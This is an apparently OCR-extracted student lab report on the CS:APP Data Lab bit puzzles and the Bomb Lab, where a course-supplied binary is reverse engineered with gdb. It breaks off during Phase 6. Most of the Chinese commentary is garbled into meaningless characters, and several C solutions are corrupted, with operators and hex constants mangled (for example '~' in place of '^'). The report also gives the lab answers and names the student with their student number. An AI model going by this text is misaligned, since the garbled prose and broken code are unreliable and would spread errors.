Preface

| used to take the course ICS offered by CMU during the passing short winter vacation with a brief
look on the book CS:APP3e. | haven't watch the videos on YouTube cause time is pressing. | forecasted
that | can finish reading it this vacation, but it's hard. I've just reached Chapter 9 by February 17 with a
hasty look on Ch4, 5, 6.

This term | choose the CSAPP class in USTC provided by Dr. Wu.

I mainly record the process of doing the experiments here.

CSAPP@USTC Intro
Stu: 5KZ#& Yiyao Zhang
StuNum: PB20111630

Lab materials: Self-Study Handout on http://csapp.cs.cmu.edu/3e/labs.html

Lab environment: VLab VNC . VSCode with extension (VScode-remote) on Mac .
Language: @1 English

Intro: ARIRFEEZEHECSAPPANIRAVATHE F5EA T Data Lab, Bomb Lab. Attack Lab., Shell Lab,
Malloc Lab HMAf Data Lab Bomb Lab {EVIabMTlim5t, HERLIMFA vscode+ssH EIFIRIZREITTH
KT XLESZEANIIRR, REMEARLEHE, EECSTINEHE T XIDR T XLEMIRNENR, BNz
CA—IT THRIBEN, SXRMRMRtISEREIRIZY: EFMalloc LabMBRHENESR, WeE¥, EHTA
FHAOSIR L 7 IREABMMAISEES, tHAINTER.

Data Lab

VLabEIH, make 3REH 1T sudo apt install libc6-dev-i386

51T dlc BHERAURTES RS E:

ubuntu@VM3242-zyy:~/N#4/My/CSAPP/data$ su

AR

root@VM3242-zyy: /home/ubuntu/X14/My/CSAPP/data# ./dlc -help
bash: ./dlc: MEAREE
root@VM3242-zyy:/home/ubuntu/X44/My/CSAPP/data# chmod +x dlc

o s W N

1ST

RS FIRUIESS IR F 58 .
HBEEE AN A = (~A)&B + A&(~B) = ~(~((~A)&B)&~(A&(~B)))

BEANEN:


http://csapp.cs.cmu.edu/3e/bomb.tar
http://csapp.cs.cmu.edu/3e/labs.html
https://vlab.ustc.edu.cn/

int bitXor(int x, int y) {
return ~(~((~xX)&y)&~(x&(~y)));

btest.c:332:23: warning: ‘Erg_test_range[ll' may be used un
332 | if (arg_test_range[l] < 1)
I e
ubuntu@VM3242-zyy: ELG
make: X “all"EX B MEME.

ubuntu@VM3242-zyy: $ ./btest —f bitXor
Score Rating Errors Function
1 1 0 bitXor

Total points: 1/1
ubuntu@VM3242-zyy: $ |

2ND
IRE g/ TR B MR RAYINtERIEE R,
X TMEEARE 0x80000000 AALERRIZEFRIN 1 << 31
HEATEN:
int tmin(void) {

int x = 1;

return x << 31;

3RD

WMRXEEAN T HFIFMIRRAOINGEREL IRE1T, SN5REO,
XNENE OxTEEEEEEE

ZR3 ox7££ef£f MRESHBSN—EFEFEI0 BRNERERINRXZE oxttffffff MRBXHFHNER &
MAGEIM—T4FH 11 (x + 1)

int isTmax(int x) {

return !((x + 1) ~ ~x) & !l(x + 1);



4TH

RATBENFEAEFIRENT BF4IRET SNH&RE0

RBHEAR oxanaaaaaa FHREN, X MFRFFHER2M—1BIF, BERBIBNRIG: TERANBFER
16, SESE5; BREINERARESMI, SHERBS ., XIFERNERBLS TIERKN16 0B
TATXERNTE, ET5EROXAAMELER., (ERXMNE =B RIIRIFLER.

1 int allOddBits(int x) {

2 int instl = (x >> 16) & Xx;

3 return ! (0xAA ~ (((instl >> 8) & instl) & O0xAA));
4}

BB B IN—EBIA,

1 int negate(int x) {
2 return (~x + 1);

3}

6TH

ANERxFEO0X30F]0x39 2 (B3R [E1T ZMiR[E0,

RETAASXER (BTAEERNS XERBRKRIN—) RRETARAFBXEEE AMEERNFNRAER
RE1 FNRE,

1  int isAsciiDigit(int x) {
2 int instl = 0x30, inst2 = 0x39, maskl = 1 << 31;
3 return !((x + (~instl) + 1) & maskl) & !((inst2 + (~x) + 1) & maskl);
4|}
SIHIx?y:z

T ZxIEORTIX - 1 = OXFFf, lIx - 1 = 0x0; xJORT Ix - 1 = OFFfffff, Ix - 1 = 0 AJ AR XM N RIAR SyFziH
5, REMENHE 25,

1  int conditional(int x, int y, int z) {
2 return (y & (!x - 1)) + (z & (!!x - 1));
31}

RAMG:



1 int conditional(int x, int y, int z) {
2 return (y & (!x + (~1) + 1)) + (z & (!!x + (~1) + 1));
3}

8TH

& x<=yiR[E 1 ZNRE0
ZREEE B=MER:

1. xyES REHE 1 ((y - x) & (1 << 31)) y- xHI0x80000000185 NFEATLER FIEO,
2. x<0,y>=0iRE ATEEHE. H 1 (y >> 31) ERERPAYE & 11 (x >> 31) ERERHxHR
3. x>=0,y<03R[EI0 AJEE R,

HERR:
1 int isLessOrEqual(int x, int y) {
2 return (!(y >> 31) & !!(x >> 31)) | ((!((y - x) & (1 << 31))) & (!(y > 31) | !i(x

>>31)));
S

9TH

S5BMARIST—H, RAERN T HRIEFOTLHRENFEER,

1  int logicalNeg(int x) {
2 int y = (x << 16) | x;
3 int z = (y << 8) | y;
4 int p = (z << 4) | z;
5 int g = (p << 2) | p;
6 int r = (g << 1) | q;
7 return 1 + (r >> 31);
8}

10TH

BRE ZHFIMIRAE N RNEENR/MIF., BIXNFERKE RS AEMUS ST ARSI ERRZERS
1FRTERIER.

TR S BIEMAZEN RN vy = (x >> 31) " x

REAZHE, BREERNRMUIB—FNESE 1L, NREMICRINMUE, RABERLENSF U ZR
F4I. REFERBAENANLETSHEIER.

1 int y = (x >> 31) " x;

2 int halfl =y >> 16;

3 int highExistl = !! (halfl);
4  int maskl = highExistl + ~0;



int half2 = y2 >> 8;

int highExist2 = !! (half2);

int mask2 = highExist2 + ~0;

9 int y3 = (0xFF) & ((half2 & ~mask2) | (y2 & mask2));
10 int half3 = y3 >> 4;

0 g4 o U

11  int highExist3 = !!(half3);

12 int mask3 = highExist3 + ~0;

13  int y4 = (0xOF) & ((half3 & ~mask3) | (y3 & mask3));
14 int half4 = y4 >> 2;

15 int highExist4 = !! (half4);

16 int mask4 = highExist4 + ~0;

17 int y5 = (0x03) & ((half4 & ~mask4) | (y4 & mask4));
18 int half5 = y5 >> 1;

19 int highExist5 = !! (half5);

20 int mask5 = highExist5 + ~0;

21 int y6 = (0x01) & ((half5 & ~mask5) | (y5 & mask5));

int y2 = ((0xXFF << 8) + OxFF) & ((halfl & ~maskl) | (y & maskl));

22  int res = (highExist5 + y6) + (highExist4 << 1) + (highExist3 << 2) + (highExist2

<< 3) + (highExistl << 4) + 1;

23 return res;

11TH

LERRB R, B IR RE R,

BREFR/REB=182EM: FSM. ERUMNERA. FHANUfFD RN AN, SEETENERIE

FHETEHARNRZ S BLS ANENaN, ZEFHITHBAMIEMBHCFIET, &S
&R

1 unsigned floatScale2(unsigned uf) {

2 int res;

3 int exp = (uf >> 23) & OxFF;

4 int frac = uf & O0x7FFFFF;

5 if (exp == 0xFF) return uf;

6 else if (l!lexp) {

7 frac = frac << 1;

8 if (!(frac & 0x800000) == 0) exp = exp + 1;
9 }

10 else exp = exp + 1;

11 res = (uf & 0x80000000) | (exp << 23) | (frac & Ox7FFFFF);
12 return res;

13}

23T
1+

RE=1T801851FE!



12TH

FREFEINER RFARAN Lxxxx + 27(E-127) , IRABHTHRECCEAENR DRLNE/NT 18915
I

1 int floatFloat2Int(unsigned uf) {
2 int sig = uf & 0x80000000;
3 int exp = (uf >> 23) & O0xFF;
4 int frac = uf & O0x7FFFFF;
5 if(exp >= 127 && exp <158) return (sig | (1 << 30) | (frac << 7)) >> (157 - exp);
6 else if (exp < 127) return 0;
7 else return 0x80000000;
8}
13TH

IR [0 BAEEF RER R AV2.0090K 75
fracBR 7 SEEIZ2/N-23) E 2/(-1) N _LexpAISEE B FIARTRASTERZ2/(-149) Bl 2/7(127),

MNFMBANEEEFRE BIIRBEEERINREEN. MRNT-126BKT-148, RAEFEZEITEfrack

PAN

7J o
1  unsigned floatPower2(int x) {
2 if (x > 127) return 0x7£800000;
3 if (x >= -126) return ((x+127) << 23);
4 if (x >= -149) return (1 << (149 + x));
5 return 0;
6 3}

Z It Datalab%3R,

Bomb Lab

ESAXNZE], KARLE TgdbMRE, METENTAERL (http://home.ustc.edu.cn/~es020711/bl
Qg/2022/02/26/GDB—%E7%9A%84%E4%BD%BF%E7%94%A8/)

Phase 1

disas phase 1 153I:


http://home.ustc.edu.cn/~es020711/blog/2022/02/26/GDB-%E7%9A%84%E4%BD%BF%E7%94%A8/

0 N o0 Uk W N

N

0x0000000000400ee0
0x0000000000400ee4
0x0000000000400ee9
0x0000000000400eee
0x0000000000400e£f0
0x0000000000400ef2
0x0000000000400ef7
0x0000000000400efb

<+0>:
<+4>:
<+9>:
<+14>:
<+16>:
<+18>:
<+23>:

<+27>:

(gdb) print (char*) 0x402400

$1 =

sub $0x8,%rsp
mov $0x402400, %esi

callg 0x401338 <strings_not_equal>

test %eax, %eax
je 0x400ef7 <phase 1+23>

callg 0x40143a <explode bomb>
add $0x8,%rsp

retqg

0x402400 "Border relations with Canada have never been better."

B 5 HERE<strings_not_equal> LLIREAFFEF] "Border relations with Canada have never been
TREERTSE, E—T2F(VMANFRFENMI, FPEERFRSEMIL, TR AR

better." X
IBIEE,
Phase 2
disas phase_ 2
1 0x0000000000400efc
2 => 0x0000000000400efd
3 0x0000000000400efe
4 0x0000000000400£02
5 0x0000000000400£05
6 0x0000000000400£0a
7 0x0000000000400£f0e
8 0x0000000000400£10
9 0x0000000000400£15
10 0x0000000000400£17
11 0x0000000000400f1a
12 0x0000000000400£f1c
13 0x0000000000400f1e
14 0x0000000000400£20
15 0x0000000000400£25
16 0x0000000000400£29
17 0x0000000000400f2c
18 0x0000000000400f2e
19 0x0000000000400£30
20 0x0000000000400£35
21 0x0000000000400£3a
22 0x0000000000400£3c
23 0x0000000000400£40
24 0x0000000000400£41
25 0x0000000000400£42

<+0>:

<t+1>:

<+2>:

<+6>:

<+9>:

<+14>:
<+18>:
<+20>:
<+25>:
<+27>:
<+30>:
<+32>:
<+34>:
<+36>:
<+41>:
<+45>:
<+48>:
<+50>:
<+52>:
<+57>:
<+62>:
<+64>:
<+68>:
<+69>:

<+70>:

push
push
sub
mov
callqg
cmpl
je
callqg
jmp
mov
add
cmp
je
callqg
add
cmp
jne
jmp
lea
lea
jmp
add
pop
pop
retq

$rbp

$rbx

$0x28,%rsp

$rsp,%rsi //rsi <= rsp
0x40145c <read_ six numbers>
$0x1, (%rsp)

0x400£30 <phase 2+52>
0x40143a <explode_bomb>
0x400£30 <phase 2+52>

-0x4 (%rbx),%eax //eax <= M(rbx-4)
%eax,%eax [/ eax*2

%eax, (%rbx) //eax M(rbx)
0x400£f25 <phase 2+41>
0x40143a <explode bomb>
$0x4,%rbx //rbx+4

rbp, $rbx //rbp rbx

0x400£17 <phase_ 2+27>
0x400f3c <phase_ 2+64>

0x4 (%rsp),%rbx //rbx <= rsp+4
0x18(%rsp),%rbp //rbp <= rsp+24
0x400£f17 <phase 2+27>
$0x28,%rsp

$rbx

$rbp



1 (gdb) print (char*) 0x4025c3

2 $1 = 0x4025c3 "%d 3d %d 8d %d 3d" //HEMBEMAATintERHYF
BEHLIESE 6 D int HEENERPIUE
0x0000000000400f0a <+14>: cmpl  $0x1, (%rsp) B —THFER1
1 0x0000000000400£17 <+27>: mov -0x4 (%rbx),%eax //eax <= M(rbx-4)
2 0x0000000000400f1la <+30>: add %eax,%eax [/ eax*2
3 0x0000000000400f1lc <+32>: cmp %eax, (¥rbx) //eax M(rbx)

MEBR=FEMNANE, SREENEFHNZENENFNME, MUERE"2481632"

Phase 3
disas phase 3

we get:

1 => 0x0000000000400£43 <+0>: sub $0x18,%rsp

2 0x0000000000400£47 <+4>: lea 0xc(%rsp),%rcx

3 0x0000000000400f4c <+9>: lea 0x8 (%rsp),%rdx

4 0x0000000000400£f51 <+14>: mov $0x4025cf, %esi

5 0x0000000000400£f56 <+19>: mov $0x0, %eax

6 0x0000000000400£5b <+24>: callg 0x400bf0 < isoc99 sscanf@plt>

7 0x0000000000400£60 <+29>: cmp $0x1,%eax

8 0x0000000000400£63 <+32>: jg 0x400f6a <phase 3+39> //the return value of

sscanf should be greater than 1(that means 2 arguments)

9 0x0000000000400£f65 <+34>: callg 0x40143a <explode bomb>
10 0x0000000000400f6a <+39>: cmpl $0x7,0x8(%rsp) //the first less than 7
11 0x0000000000400f6f <+44>: ja 0x400fad <phase 3+106>
12 0x0000000000400£71 <+46>: mov 0x8(%rsp), %eax
13 0x0000000000400£75 <+50>: jmpg *0x402470(,%rax,8)

14 0x0000000000400f7¢c <+57>: mov $0xcf, geax
15 0x0000000000400£81 <+62>: jmp 0x400fbe <phase 3+123>
16 0x0000000000400£83 <+64>: mov $0x2c3, %eax
17 0x0000000000400£88 <+69>: jmp 0x400fbe <phase 3+123>
18 0x0000000000400£f8a <+71>: mov $0x100,%eax
19 0x0000000000400£8f <+76>: jmp 0x400fbe <phase 3+123>
20 0x0000000000400£91 <+78>: mov $0x185,%eax
21 0x0000000000400£96 <+83>: jmp 0x400fbe <phase 3+123>
22 0x0000000000400£98 <+85>: mov $0xce, %eax
23 0x0000000000400£9d <+90>: jmp 0x400fbe <phase 3+123>
24 0x0000000000400£9f <+92>: mov $0x2aa, %eax
25 0x0000000000400fa4 <+97>: jmp 0x400fbe <phase 3+123>
26 0x0000000000400fa6 <+99>: mov $0x147,%eax
27 0x0000000000400fab <+104>: jmp 0x400fbe <phase 3+123>
28 0x0000000000400fad <+106>: callg 0x40143a <explode bomb>

29 0x0000000000400fb2 <+111>: mov $0x0,%eax



30
31
32
33
34
35
36

1

0x0000000000400fb7 <+116>: jmp 0x400fbe <phase 3+123>
0x0000000000400£fb9 <+118>: mov $0x137,%eax
0x0000000000400fbe <+123>: cmp Oxc(%rsp),%eax
0x0000000000400fc2 <+127>: je 0x400fc9 <phase 3+134>
0x0000000000400fc4 <+129>: callg 0x40143a <explode bomb>
0x0000000000400fc9 <+134>: add $0x18,%rsp
0x0000000000400fcd <+138>: retq

(gdb) print (char *) 0x4025cf

2 $1 = 0x4025cf "sd 3d”
MAEMTEE

IERNMBEENA R TR E, ERE(EREME.

MERATA 2/,

DRI Ersp+0x8Frsp+OxcHEIERFE, 53:

B W N

S W N e

(gdb) print *(int *) (Srsp + 0x8)

$6 =1
(gdb) print *(int *) ($rsp + 0xc)
$7 = 2

— PNEfETErsp + 0x8F, B—Ff#ETErsp + OxcH,

(gdb) print /d S$eax

$11 =1

(gdb) print /x *0x402470
$14 = 0x400f7c

BT REAIHEZI0x400f7c+8*rax

It —

BN SHNENEFET HEEE (HiTmovigL Feaxval)

PRABATRI A B BB thIA M ME: F—T20, F 1 =E0xcf, RIETEAIMT.

1 0x0000000000400f7¢c <+57>: mov $0xcf, geax

2 0x0000000000400£81 <+62>: jmp 0x400fbe <phase 3+123>
solved!

Phase 4

1 Breakpoint 5, 0x000000000040100c in phase 4 ()
2  (gdb) disas
3 Dump of assembler code for function phase 4:
4 => 0x000000000040100c <+0>: sub $0x18,%rsp

HiEsscanfiRE (0x400f60) [EERIMHNSE RS, {£M'break*0x400f60',



5 0x0000000000401010 <+4>: lea Oxc(%rsp),%rcx
6 0x0000000000401015 <+9>: lea 0x8(%rsp),%rdx
7 0x000000000040101a <+14>: mov $0x4025cf, %esi
8 0x000000000040101f <+19>: mov $0x0, %eax
9 0x0000000000401024 <+24>: callg 0x400bf0 < _isoc99 sscanf@plt>
10 0x0000000000401029 <+29>: cmp $0x2,%eax //return value = 2
11 0x000000000040102¢c <+32>: jne 0x401035 <phase 4+41>
12 0x000000000040102e <+34>: cmpl $0xe,0x8(%rsp) //the 1lst argu <=14
13 0x0000000000401033 <+39>: jbe 0x40103a <phase 4+46>
14 0x0000000000401035 <+41>: callg 0x40143a <explode bomb>
15 0x000000000040103a <+46>: mov $0xe,%edx //funcdfIE=1"S = 14
16 0x000000000040103f <+51>: mov $0x0,%esi //func4fIBE_NSE = 0
17 0x0000000000401044 <+56>: mov 0x8(3rsp),sedi //func4MIE—NSE edi = (rsp
+ 8)
18 0x0000000000401048 <+60>: callg 0x400fce <funcéd>
19 0x000000000040104d <+65>: test  %eax,%eax //REMEUMRAZOMIBIE
20 0x000000000040104f <+67>: jne 0x401058 <phase 4+76>
21 0x0000000000401051 <+69>: cmpl  $0x0,0xc(%rsp) //phase 4()B_TNSEARZ0FIRLE
22 0x0000000000401056 <+74>: je 0x40105d <phase_4+81>
23 0x0000000000401058 <+76>: callg 0x40143a <explode bomb>
24 0x000000000040105d <+81>: add $0x18,%rsp
25 0x0000000000401061 <+85>: retq
26 End of assembler dump.
the same as P3:
1 (gdb) print (char*) 0x4025cf
2 $9 = 0x4025cf "%d %d"
M TSEN
1 0x000000000040103a <+46>: mov $0xe,%edx //3th argu for funcd = 14
2 0x000000000040103f <+51>: mov $0x0,%esi //2nd argu = 0
3 0x0000000000401044 <+56>: mov 0x8(%rsp),%edi //lst argu edi = (rsp + 8)
4 0x0000000000401048 <+60>: callg 0x400fce <funcé>

func4(xx, 0, 14)

O 00 ~J o U1 & W N =

(gdb) disas func4

Dump of assembler code for function funcéd:

0x0000000000400fce <+0>: sub
0x0000000000400£d2 <+4>: mov
0x0000000000400£d4 <+6>: sub
0x0000000000400£d6 <+8>: mov
0x0000000000400£d8 <+10>: shr
0x0000000000400£fdb <+13>: add
0x0000000000400fdd <+15>: sar

edx - esi)/2

$0x8,%rsp
%edx, eax
%esi, %eax

edx - esi

%eax,%ecx //ecx

$0x1f,%ecx //ecx edx - esi >> 31

gecx, %eax

seax //MULERIIES:

eax = ((edx - esi >> 31 ) +



10 0x0000000000400£fdf <+17>: lea (%rax,%rsi,l),%ecx //ecx = eax + esi

11 0x0000000000400fe2 <+20>: cmp gedi, secx //LERE— 1S HMeax + esi

12 0x0000000000400fed <+22>: jle 0x400ff2 <func4+36>

13 0x0000000000400fe6 <+24>: lea -0x1(%rcx),%edx

14 0x0000000000400fe9 <+27>: callg 0x400fce <funcéd>

15 0x0000000000400fee <+32>: add %eax, %eax

16 0x0000000000400ff0 <+34>: jmp 0x401007 <func4+57>

17 0x0000000000400ff2 <+36>: mov $0x0,%eax //eax = 0

18 0x0000000000400£ff7 <+41>: cmp %edi, %ecx //ediFfllecxtBLL

19 0x0000000000400f£f9 <+43>: jge 0x401007 <func4+57>

20 0x0000000000400ffb <+45>: lea 0x1(%rcx),%esi

21 0x0000000000400ffe <+48>: callg 0x400fce <func4>

22 0x0000000000401003 <+53>: lea 0x1(%rax,%rax,l),%eax //retval = 1 + 2*rax
AT

23 0x0000000000401007 <+57>: add $0x8,%rsp

24 0x000000000040100b <+61>: retq

25 End of assembler dump.

BITTHREG A It Eeax = ((edx - esi >>31) + edx - esi)/2
HFraxAREBOREME, PRABATTAMERGES REEIR 1117 2 /EME)3i50)
if(ecx <= edi){
if(ecx >= edi)

return 0;

esi = 1 + ecx;

telse{
edx = ecx - 1;

1

2

3

4

5| return 1 + 2*func4(edi, esi, edx);
6

7

8 return 2*func4(edi, esi, edx);

9

FiAE {EfuncdtEphase_4FRNIREMEAR N0 HRIFIAERILITEENecx = ediHphase_45 Z M HARIEF
R7i%790

(WCRARBAER)
HAENEVMAEesi =0, edx =0xe (14) FBRLA ((edx - esi>> 31) + edx - esi)/2 + esi = edi
(14 -0)/2 + 0 = edi E—1"SE N7

Miphase_4Z& %770
Phase 5

CHRACRANT

1 Dump of assembler code for function phase 5:
2 => 0x0000000000401062 <+0>: push $rbx
3 0x0000000000401063 <+1>: sub $0x20,%rsp



4 0x0000000000401067 <+5>: mov g$rdi, $rbx
5 0x000000000040106a <+8>: mov $fs:0x28,%rax
6 0x0000000000401073 <+17>: mov %rax,0x18(%rsp)
7 0x0000000000401078 <+22>: Xor $eax,%eax //0
8 0x000000000040107a <+24>: callg 0x40131b <string length>
9 0x000000000040107f <+29>: cmp $0x6,%eax
10 0x0000000000401082 <+32>: je 0x4010d2 <phase 5+112>
11 0x0000000000401084 <+34>: callg 0x40143a <explode bomb>
12 0x0000000000401089 <+39>: jmp 0x4010d2 <phase 5+112>
13 0x000000000040108b <+41>: movzbl (%rbx,%rax,1l),%ecx
14 0x000000000040108f <+45>: mov %cl, (%rsp)
15 0x0000000000401092 <+48>: mov (3rsp),srdx //BFEFFEArdx
16 0x0000000000401096 <+52>: and $0xf,%edx //B\—1FT
17 0x0000000000401099 <+55>: movzbl 0x4024b0(%rdx), %edx
18 0x00000000004010a0 <+62>: mov %dl,0x10(%rsp,%rax,l) //BENE—ITFTEE
(rsp + 10 + rax)
19 0x00000000004010a4 <+66>: add $0x1,%rax
20 0x00000000004010a8 <+70>: cmp $0x6,%rax
21 0x00000000004010ac <+74>: jne 0x40108b <phase 5+41>
22 0x00000000004010ae <+76>: movb $0x0,0x16(%rsp)
23 0x00000000004010b3 <+81>: mov $0x40245e, %esi
24 0x00000000004010b8 <+86>: lea 0x10(%rsp),srdi
25 0x00000000004010bd <+91>: callg 0x401338 <strings_ not equal>
26 0x00000000004010c2 <+96>: test %eax, %eax
27 0x00000000004010c4 <+98>: je 0x4010d9 <phase 5+119>
28 0x00000000004010c6 <+100>: callg 0x40143a <explode bomb>
29 0x00000000004010cb <+105>: nopl 0x0(%rax,%rax,1l)
30 0x00000000004010d0 <+110>: jmp 0x4010d9 <phase 5+119>
31 0x00000000004010d2 <+112>: mov $0x0,%eax //0
32 0x00000000004010d7 <+117>: jmp 0x40108b <phase 5+41>
33 0x00000000004010d9 <+119>: mov 0x18(%rsp),%rax
34 0x00000000004010de <+124>: Xor $fs:0x28,%rax
35 0x00000000004010e7 <+133>: je 0x4010ee <phase 5+140>
36 0x00000000004010e9 <+135>: callg 0x400b30 < stack chk fail@plt>
37 0x00000000004010ee <+140>: add $0x20,%rsp
38 0x00000000004010£2 <+144>: pop $rbx
39 0x00000000004010£3 <+145>: retq

*F s£s:0x28 H1EStackOverflow &2 7 HHXEE:

Q:

I've written a piece of C code and I've disassembled it as well as read the registers to understand
how the program works in assembly.



int test(char *this){

char sum buf[6];

1
2
3 strncpy (sum_buf, this, 32);
4 return 0;

5

}

The piece of my code that I've been examining is the test function. When | disassemble the output

my test function | get ...

0x00000000004005c0 <+12>:
=> 0x00000000004005¢c9 <+21>:
. stuff ..
0x00000000004005£f0 <+60>:
0x00000000004005f9 <+69>:
0x00000000004005fb <+71>:
0x0000000000400600 <+76>:
0x0000000000400601 <+77>:

o N o U W N

mov 2fs:0x28,%rax
mov grax,-0x8(%rbp)
Xor 2fs:0x28,%rdx
je 0x400600 <test+76>
callg 0x4004a0 <_ stack chk fail@plt>
leaveq
retq

What | would like to know is what mov %£fs:0x28,%rax is really doing?

A

Both the Fs and Gs registers can be used as base-pointer addresses in order to access special

operating system data-structures. So what you're seeing is a value loaded at an offset from the
value held in the Fs register, and not bit manipulation of the contents of the Fs register.

Specifically what's taking place, is that Fs:0x28 on Linux is storing a special sentinel stack-guard

value, and the code is performing a stack-guard check. For instance, if you look further in your code,
you'll see that the value at Fs:0x28 is stored on the stack, and then the contents of the stack are

recalled and an xor is performed with the original value at Fs:0x28. If the two values are equal,

which means that the zero-bit has been set because Xor 'ing two of the same values results in a zero-

value, then we jump to the test routine, otherwise we jump to a special function that indicates that

the stack was somehow corrupted, and the sentinel value stored on the stack was changed.

RE A L= R MR ENIER(E.

B3/ \1TRIString_length R EBVEILENVMARNMZR— T FRASH; BRAFENITHcompareBZFFEK

76,

BE4 N "abcdef" 7£0x40108f2L1 T RE B BIRFHEEM T FFEET.



phase_5 ()
(gdb)

phase_5 ()
(gdb)

phase_5 ()

(gdb)
phase_5 ()

(gdb) print $ecx
$29 = 97
(gdb)
$30 = 97
(gdb) print (char) $ecx
$31 = 97 'a’
(gdb) si

in phase_5 ()
(gdb) print (char) $ecx
$32 = 97 'a’
(gdb) print (char) ($rsp)
$33 = -80 '\260'
(gdb) print ($rsp)
$34 = (void x)
(gdb) print (char)
$35 = 97 'a’
(gdb) print (char)
$36 = 97 'a’
(gdb) print $cl
$37 = 97
(gdb) print /x $cl
$38 = 0x61
(gdb) print /x ($rsp)
$39 = ox7fffffffddbo
(gdb) print /x $rsp
$40 = ox7fffffffddbo
(gdb) print x$rsp
Attempt to dereference a generic pointer.
(gdb) print *($rsp)
Attempt to dereference a generic pointer.
(gdb) print x(rsp)
No symbol "rsp" in current context.
(gdb) x/w rsp
No symbol "rsp" in current context.
(gdb) x/w $rsp

: 0x00000061
(gdb) print x(int x) ($rsp+0)
$41 = 97
(gdb) | I
SHaTF7ECl(rex)
FH 0x000000000040108b <+41>: movzbl (%rbx,%rax,1),%ecx

HEMrox RIFMANRIF RIS MASCIIE ZI0UERKIL,



print *x(int ($rsp+0)
97

print *(int ($rsp+1)
0

print *x(int ($rsp+2)
0

print *x(int ($rsp+3)
0

print *(int ($rbx)
1684234849

print /x x(int x) ($rbx)
0x64636261

print /x x(int %) ($rsp
0x61

print /x x(int x) ($rbx
0x65646362

print /x x(int x) ($rbx
0x66656463

print /x x(int x) ($rbx
0x666564

0x000000000040108b <+41>: movzbl (%rbx,%rax,l),%ecx

0x000000000040108f <+45>: mov %cl, (3rsp)

0x0000000000401092 <+48>: mov (srsp),srdx //BEFEFEArdx

0x0000000000401096 <+52>: and $0xf,%edx //BN—1FET

0x0000000000401099 <+55>: movzbl 0x4024b0(%rdx),%edx

0x00000000004010a0 <+62>: mov 2dl,0x10(%rsp,%rax,1l) //BENBE—"TFETEER(rsp
+ 10 + rax)

0x00000000004010a4 <+66>: add $0x1,%rax

0x00000000004010a8 <+70>: cmp $0x6,%rax

0x00000000004010ac <+74>: jne 0x40108b <phase 5+41>

RE IR BAFA I 0x4024b05 rdxRfE  (SeRIBATHMARFRAIASCIED) 180 53] 7 —Titbilk, X ith
WP EFRledxPHR—1FT, REFXTFHHREFEIrsp + rax + 109IE,

REMATHICMpHjnelE R RBATEIATILLRE/NIE.
BRBEWERZE BAIHRETUTREX:

0x00000000004010ae <+76>: movb $0x0,0x16(%rsp)
0x00000000004010b3 <+81>: mov $0x40245e,%esi
0x00000000004010b8 <+86>: lea 0x10(%rsp),%srdi
0x00000000004010bd <+91>: callg 0x401338 <strings_not_equal>
0x00000000004010c2 <+96>: test %eax, $eax

0x00000000004010c4 <+98>: je 0x4010d9 <phase 5+119>

0x00000000004010c6 <+100>: callg 0x40143a <explode bomb>

BT X B RATAT AT NS AFATEIE HaTrsp + 1040t A FRF 8B 50x40245e 40 F/F BARLERE, FbFA]
FTENH 0x40245e kb= IG5 :



0x66656463

print /x x(int ($rbx=%’3)
0x666564

print /x *(int (0x40245€)
0x65796¢c66

print /x *(int (0x40245e + 1)
0x7265796¢

print /x *(int (0x40245e + 2)
0x73726579

print /x *(int (0x40245e + 3)
0x737265

FE90x73 72 65 79 6¢ 66

1
¥

print /x x(int (0x4024d1)
0x206e6163
print /x *(int (0x4024d2)
0x73206e61
print /x *(int (0x4024d3)
0x7473206e
print /x x(int (0x4024d4)
0x61t747320
print /x *(int (0x4024d5)
0x70617473

N F i flyers”

Ox4024b0b=FfFE R

(gdb) x/s 0x40245e
: "flyers"
(gdb) x/s ©0x4024b0
<array.3449>: "maduiersnfotvbylSo you think you can stop the b

BATRFHEIXI N RBERIR: 591514 567
ERAMMAIASCIIFFionefg (ARNEZNFTHKIEE, BASIONEFGHA])

Reading symbols from

(gdb) run ans.txt

Starting program: /home/ubuntu/3Z#4/My/CSAPP/bomb/bomb ans.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?
That's number 2. Keep going!

Halfway there!

So you got that one. Try this one.

Good work! On to the next...




Phase 6

0 N o0 kW N

11
12
13
14
15
16
17
18
19
20
21
22

23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
59
40
41
42
43
44

--Type <RET> for more,

(gdb) disas phase 6

0x00000000004010£f4 <+0>:
0x00000000004010f6 <+2>:
0x00000000004010£8 <+4>:
0x00000000004010fa <+6>:
0x00000000004010fb <+7>:
0x00000000004010fc <+8>:
0x0000000000401100 <+12>:
0x0000000000401103 <+15>:
0x0000000000401106 <+18>:
0x000000000040110b <+23>:
0x000000000040110e <+26>:
0x0000000000401114 <+32>:
0x0000000000401117 <+35>:
0x000000000040111b <+39>:
0x000000000040111le <+42>:
0x0000000000401121 <+45>:
0x0000000000401123 <+47>:
0x0000000000401128 <+52>:
0x000000000040112¢c <+56>:
0x0000000000401130 <+60>:

TR LR AT

0x0000000000401132 <+62>:

0x0000000000401135 <+65>:
0x0000000000401138 <+68>:
0x000000000040113b <+71>:
0x000000000040113e <+74>:
0x0000000000401140 <+76>:
0x0000000000401145 <+81>:
0x0000000000401148 <+84>:
0x000000000040114b <+87>:

0x000000000040114d <+89>:
0x0000000000401151 <+93>:

0x0000000000401153 <+95>:
0x0000000000401158 <+100>:
0x000000000040115b <+103>:
0x0000000000401160 <+108>:
0x0000000000401162 <+110>:
0x0000000000401164 <+112>:
0x0000000000401166 <+114>:
0x000000000040116a <+118>:

g to quit, c

push
push
push
push
push
sub
mov
mov
callqg
mov
mov
mov
mov
sub
cmp
jbe
callqg
add
cmp

je

mov

movslg
mov
cmp
jne
callqg
add
cmp

jle

add
Jmp

lea
mov
mov
mov
sub
mov
add

cmp

Dump of assembler code for function phase 6:

$rld

%rl3

grl2

$rbp

$rbx
$0x50,%rsp
%rsp,%rl3

$rsp, $rsi

0x40145c <read_six numbers>

%rsp,%rld

$0x0,%rl2d

%rl3,%rbp

0x0(%rl3),%eax

$0x1,%eax

$0x5, %eax

0x401128 <phase 6+52> //
0x40143a <explode_ bomb>
$0x1,%rl2d //rl2+1
$0x6,%rl2d

0x401153 <phase 6+95> //

%rl2d, $ebx

%ebx, %rax
($rsp,%rax,4),%eax //rax =
%eax, 0x0(%rbp)

0x401145 <phase_ 6+81>
0x40143a <explode bomb>
$0x1, %ebx

$0x5, %ebx

0x401135 <phase_ 6+65>

$0x4,%rl3
0x401114 <phase 6+32>

to continue without paging--

KFZEFeo

URBTHFHTER

MEM(rsp + 4*rl2)

